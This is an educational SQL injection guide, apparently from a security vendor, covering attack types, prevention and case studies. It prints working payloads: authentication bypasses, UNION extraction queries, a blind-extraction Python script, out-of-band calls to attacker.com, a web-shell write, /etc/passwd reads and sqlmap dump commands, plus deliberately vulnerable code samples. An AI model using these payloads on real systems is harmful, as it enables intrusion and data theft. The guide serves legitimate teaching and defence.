SQL Injection Attacks
A code injection attack where malicious SQL statements are inserted into application input fields, allowing attackers to manipulate database queries, steal data, bypass authentication, or execute administrative operations on the database.
CRITICAL SEVERITY OWASP TOP 10 #3 DATABASE ATTACK
What is SQL Injection?
Critical Vulnerability
SQL Injection consistently ranks in the OWASP Top 10 most critical web application security risks. A successful attack can expose entire databases, bypass authentication, and compromise sensitive user data. It's been responsible for some of the biggest data breaches in history.
In Simple Terms:
SQL Injection is like a burglar who tricks your house's security system by speaking its own language. Instead of breaking down the door, the attacker speaks the "database language" (SQL) to trick the website into giving them access to information they shouldn't see.
Think of it this way: Imagine a bank teller who takes your request written on a piece of paper. Normally, you write "Show me my account balance." But what if you could write "Show me my account balance AND also show me everyone else's account balance"? That's essentially what SQL Injection does to websites.
Understanding SQL Injection (Real-World Analogy)
The Coffee Shop Analogy
You walk into a coffee shop and tell the barista: "Give me a coffee for John."
The barista checks the list and gives you John's coffee. Simple, right?
Now imagine you say: "Give me a coffee for John OR give me all the coffees."
If the barista blindly follows your instruction, you'd get everyone's coffee!
That's exactly how SQL Injection works on websites. The database follows instructions literally without questioning if they're malicious.
How It Works: The Technical Process
Normal Login Flow
Username: john
Password: secret123
sqlSELECT * FROM users WHERE username = 'john' AND password = 'secret123'
If match found → Login successful If no match → Login failed
Hacker's Attack Flow
Username: admin' --
Password: anything
sqlSELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
The -- symbol means "ignore everything after this" in SQL!
Database finds user 'admin' and never checks the password
Result: Hacker logs in as admin without knowing password!
Types of SQL Injection Attacks
1. In-Band SQL Injection (Direct Attack)
MOST COMMON
What Is It?
The attacker uses the same channel to launch the attack and gather results. Data is displayed directly in the application response.
Error-Based SQL Injection
How It Works
Attacker triggers database errors to extract information about the database structure.
Attack Example:
sqlhttp://shop.com/product?id=5'
Error Response:
Error: You have an error in your SQL syntax near 'id=5''
What Attackers Learn
- Database type (MySQL, PostgreSQL, SQL Server)
- Table names
- Column names
- Database structure
Prevention
python# SECURE: Hide error details
try:
cursor.execute(query)
except Exception as e:
logging.error(f"Database error: {str(e)}")
return "An error occurred" # Generic message
Union-Based SQL Injection
DATA EXTRACTION
Attack Process
Combines malicious query with legitimate one using UNION operator.
Normal Query:
sqlSELECT name, price FROM products WHERE id = 5
Attack Payload:
sql5' UNION SELECT username, password FROM users--
Result: Returns products AND user credentials!
Step-by-Step Attack
sql' ORDER BY 1-- # Works
' ORDER BY 2-- # Works
' ORDER BY 3-- # Error → 2 columns
sql' UNION SELECT 'text', 123--
sql' UNION SELECT username, password FROM users--
Code Examples (Multiple Languages)
python# DANGEROUS - Don't use!
username = request.GET['username']
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
javascript// DANGEROUS - Don't use!
const username = req.query.username;
const query = `SELECT * FROM users WHERE username = '${username}'`;
connection.query(query);
php<?php
// DANGEROUS - Don't use!
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
mysqli_query($conn, $query);
?>
2. Blind SQL Injection (The Detective Attack)
ADVANCED TECHNIQUE
Sneaky Attack
When the application doesn't display results directly, attackers ask true/false questions to extract data character by character.
Boolean-Based Blind SQLi
Attack Methodology
Asks the database true/false questions and infers information from application behavior.
Testing if Admin Exists:
sql' AND (SELECT COUNT(*) FROM users WHERE username='admin') > 0--
If page loads normally: Admin exists If page errors: Admin doesn't exist
Extracting Password Character by Character
pythonimport requests
url = "http://example.com/product?id=1"
password = ""
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
for position in range(1, 33):
for char in chars:
payload = f"' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),{position},1)='{char}'--"
response = requests.get(url + payload)
if "Product Name" in response.text:
password += char
print(f"Found: {char}")
break
print(f"Admin password: {password}")
Time-Based Blind SQLi
TIMING ATTACK
Different Databases
sql' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)--
sql'; SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END--
sql'; IF (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') WAITFOR DELAY '00:00:05'--
sql' AND (SELECT CASE WHEN SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a' THEN DBMS_LOCK.SLEEP(5) ELSE NULL END FROM dual) IS NULL--
Logic: If response takes 5 seconds → condition is true → first character is 'a'
3. Out-of-Band SQL Injection
ADVANCED
External Channel
Attacker can't use the same channel to get results, so they force the database to make external connections to attacker-controlled servers.
SQL Server Example
sql'; EXEC xp_cmdshell('nslookup attacker.com')--
'; EXEC master..xp_dirtree '\\attacker.com\share'--
Oracle Example
sql' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote;]>'),'/l') FROM dual--
Real-World Attack Scenarios
Scenario 1: Authentication Bypass
CRITICAL
javascriptapp.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
// VULNERABLE!
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.query(query, (err, results) => {
if (results.length > 0) {
res.send('Login successful');
}
});
});
Username: admin' OR '1'='1
Password: anything
Resulting Query:
sqlSELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
'1'='1' is always true → Authentication bypassed!
- Attacker gains admin access
- No password required
- Complete account takeover
Scenario 2: Data Extraction
DATA BREACH
pythondef search_products(search_term):
query = f"SELECT name, price, description FROM products WHERE name LIKE '%{search_term}%'"
cursor.execute(query)
return cursor.fetchall()
sql' UNION SELECT username, password, email FROM users--
Result: Returns product list + ALL usernames, passwords, and emails!
sql' UNION SELECT name, sql, NULL FROM sqlite_master WHERE type='table'--
Result: Reveals entire database structure
Scenario 3: Data Modification
DATA MANIPULATION
Vulnerable Update
javaString email = request.getParameter("email");
String userId = request.getParameter("userId");
String query = "UPDATE users SET email = '" + email + "' WHERE id = " + userId;
Statement stmt = connection.createStatement();
stmt.executeUpdate(query);
Attack Payload
email: [email protected]', password='hacked123' WHERE username='admin'--
userId: 1
Resulting Query:
sqlUPDATE users SET email = '[email protected]', password='hacked123' WHERE username='admin'--' WHERE id = 1
Result: Admin password changed to 'hacked123'!
Scenario 4: Remote Code Execution
SEVERE
System Compromise
In severe cases, SQL injection can lead to complete server takeover.
Writing Web Shell (MySQL)
sql' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--
Then access:
http://example.com/shell.php?cmd=whoami
Result: Remote code execution on server!
Database-Specific Techniques
MySQL / MariaDB
sql# Database version
' UNION SELECT @@version--
# Current user
' UNION SELECT user()--
# List databases
' UNION SELECT schema_name FROM information_schema.schemata--
# List tables
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--
# List columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
sql' UNION SELECT LOAD_FILE('/etc/passwd')--
sql' UNION SELECT 'shell code' INTO OUTFILE '/tmp/shell.php'--
PostgreSQL
sql# Database version
' UNION SELECT version()--
# Current user
' UNION SELECT current_user--
# List tables
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--
sql'; COPY (SELECT '') TO PROGRAM 'whoami'--
Microsoft SQL Server
sql# Database version
' UNION SELECT @@version--
# List databases
' UNION SELECT name FROM master..sysdatabases--
# List tables
' UNION SELECT name FROM sysobjects WHERE xtype='U'--
sql'; EXEC xp_cmdshell 'whoami'--
Oracle
sql# Database version
' UNION SELECT banner FROM v$version--
# List tables
' UNION SELECT table_name FROM all_tables--
# List columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--
Prevention and Mitigation
1. Parameterized Queries (Prepared Statements)
MOST EFFECTIVE
Primary Defense
Parameterized queries (prepared statements) are the #1 defense against SQL injection. They ensure user input is always treated as data, never as code.
Python (Multiple Methods)
python# SECURE
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?",
(username, password))
python# SECURE
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
(username, password))
python# SECURE
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
(username, password))
python# SECURE
user = session.query(User).filter_by(username=username, password=password).first()
Node.js
javascript// SECURE
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
connection.query(query, [username, password], (error, results) => {
// Handle results
});
javascript// SECURE
const query = 'SELECT * FROM users WHERE username = $1 AND password = $2';
client.query(query, [username, password], (err, res) => {
// Handle results
});
javascript// SECURE
User.findOne({
where: {
username: username,
password: password
}
});
PHP
php<?php
// SECURE
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute(['username' => $username, 'password' => $password]);
$results = $stmt->fetchAll();
?>
php<?php
// SECURE
$stmt = $mysqli->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->bind_param('ss', $username, $password);
$stmt->execute();
$result = $stmt->get_result();
?>
Java
java// SECURE
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
C# / .NET
csharp// SECURE
string query = "SELECT * FROM users WHERE username = @username AND password = @password";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@username", username);
cmd.Parameters.AddWithValue("@password", password);
SqlDataReader reader = cmd.ExecuteReader();
2. Input Validation and Sanitization
DEFENSE IN DEPTH
Whitelist Validation
pythonimport re
def validate_username(username):
"""Only allow alphanumeric and underscore"""
if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
raise ValueError("Invalid username format")
return username
def validate_numeric_id(id_value):
"""Ensure it's a number"""
try:
return int(id_value)
except ValueError:
raise ValueError("ID must be numeric")
def validate_email(email):
"""Validate email format"""
if not re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', email):
raise ValueError("Invalid email format")
return email
Input Sanitization (Last Resort)
javascriptconst mysql = require('mysql');
const connection = mysql.createConnection({...});
// Better than nothing, but prefer parameterized queries
const escaped_username = connection.escape(username);
const escaped_password = connection.escape(password);
3. Least Privilege Principle
ACCESS CONTROL
Database Permissions
Configure database users with only the minimum required permissions. Never use admin accounts for application connections.
sql-- Create limited user for application
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password_here';
-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON app_database.users TO 'webapp'@'localhost';
GRANT SELECT ON app_database.products TO 'webapp'@'localhost';
-- Deny dangerous operations
REVOKE FILE ON *.* FROM 'webapp'@'localhost';
REVOKE EXECUTE ON *.* FROM 'webapp'@'localhost';
REVOKE DROP ON *.* FROM 'webapp'@'localhost';
4. Web Application Firewall (WAF)
REAL-TIME PROTECTION
ModSecurity Rule
apacheSecRule ARGS "@detectSQLi" \
"id:1001,\
phase:2,\
block,\
log,\
msg:'SQL Injection Attack Detected'"
Custom WAF Rules
yamlwaf_rules:
- rule_id: "sql_injection_001"
pattern: "(?i)(union|select|insert|update|delete|drop|exec|script)"
action: "block"
severity: "critical"
log: true
5. Error Handling
IMPORTANT
pythontry:
cursor.execute(query)
except Exception as e:
# DANGEROUS - Exposes database details
return f"Database Error: {str(e)}"
pythonimport logging
try:
cursor.execute(query)
except Exception as e:
# Log internally for debugging
logging.error(f"Database error: {str(e)}")
# Show generic message to user
return "An error occurred. Please try again later."
Testing and Detection
Automated Testing Tools
SECURITY TOOLS
Most popular automated SQL injection tool
bash# Basic URL scan
sqlmap -u "http://example.com/product?id=1"
# Scan with cookies
sqlmap -u "http://example.com/product?id=1" --cookie="session=abc123"
# POST request scan
sqlmap -u "http://example.com/login" --data="username=admin&password=test"
# Database enumeration
sqlmap -u "http://example.com/product?id=1" --dbs
# Extract tables
sqlmap -u "http://example.com/product?id=1" -D database_name --tables
# Dump specific table
sqlmap -u "http://example.com/product?id=1" -D database_name -T users --dump
Free web application security scanner
- Automated scanning
- Active and passive scanning modes
- Spider functionality
- Custom policies
Professional web security testing platform
- Intruder for custom payloads
- Scanner for automated detection
- Repeater for manual testing
- Extensions marketplace
Manual Testing Checklist
- [ ] Test all input fields with special characters:
' " ; -- /* */ - [ ] Test numeric parameters with non-numeric values
- [ ] Test for error messages revealing database information
- [ ] Test UNION-based injection
- [ ] Test Boolean-based blind injection
- [ ] Test time-based blind injection
- [ ] Test second-order injection (stored then executed)
- [ ] Review all database interaction code
- [ ] Check for dynamic query construction
- [ ] Test authentication bypass payloads
Real-World Case Studies
Case Study 1: Heartland Payment Systems (2008)
130M RECORDS
SQL injection into payment processing system
- 130 million credit card numbers
- Cardholder names
- Expiration dates
- CVV codes
- $140 million in fines and settlements
- Loss of payment card industry compliance
- Reputation damage
- Stock price plummeted
Even major corporations with security budgets can fall victim to basic SQL injection if proper coding practices aren't followed.
Case Study 2: TalkTalk (2015)
£77M DAMAGES
SQL injection on legacy systems
- 157,000 customer records compromised
- Names, addresses, dates of birth
- Email addresses
- Phone numbers
- TalkTalk account information
- £77 million in costs and lost business
- £400,000 regulatory fine
- Loss of 95,000 customers
- CEO resigned
Old, unmaintained code can create vulnerabilities even when newer systems are secure. Regular security audits of ALL code are essential.
Case Study 3: RockYou (2009)
32M PASSWORDS
SQL injection + passwords stored in plaintext
- 32 million user passwords exposed
- Passwords stored without encryption
- Complete user database compromised
- Social media account takeovers
- Company reputation destroyed
- Massive user trust loss
- Regulatory investigations
- Multiple lawsuits
Security Checklist
For Developers
DO
- Use parameterized queries/prepared statements
- Validate all user input with whitelists
- Apply least privilege to database accounts
- Hide error messages from users
- Log suspicious activity
- Use ORMs that auto-escape inputs
- Regular code reviews
- Security training
DON'T
- Concatenate user input into SQL queries
- Show database errors to users
- Trust ANY user input
- Use dynamic SQL unnecessarily
- Grant excessive database privileges
- Disable security features for convenience
For Security Teams
- [ ] Implement WAF with SQL injection rules
- [ ] Regular penetration testing
- [ ] Automated vulnerability scanning
- [ ] Monitor database query logs
- [ ] Alert on suspicious patterns
- [ ] Incident response plan
- [ ] Regular security audits
- [ ] Keep all software updated
For Users
TIPS
- Use unique passwords for each site
- Enable two-factor authentication
- Monitor account activity
- Change passwords after breaches
- Use password managers
- Be cautious with data sharing
How Layerd AI Protects Against SQL Injection
Layerd AI Cloud WAF provides comprehensive protection:
- Real-time WAF: Blocks SQL injection attempts before they reach your database
- AI-Powered Detection: Machine learning identifies new attack patterns
- Automatic Patching: Virtual patching for known vulnerabilities
- Query Analysis: Monitors database queries for suspicious patterns
- Threat Intelligence: Updated attack signatures from global threat feeds
- Compliance Reporting: Detailed logs for regulatory requirements
Protect your applications with Layerd AI's intelligent SQL injection defense.
Additional Resources
- OWASP SQL Injection Guide
- PortSwigger Web Security Academy - SQL Injection
- SQLMap Documentation
- CWE-89: SQL Injection
- OWASP Testing Guide - SQL Injection
Last Updated: November 2025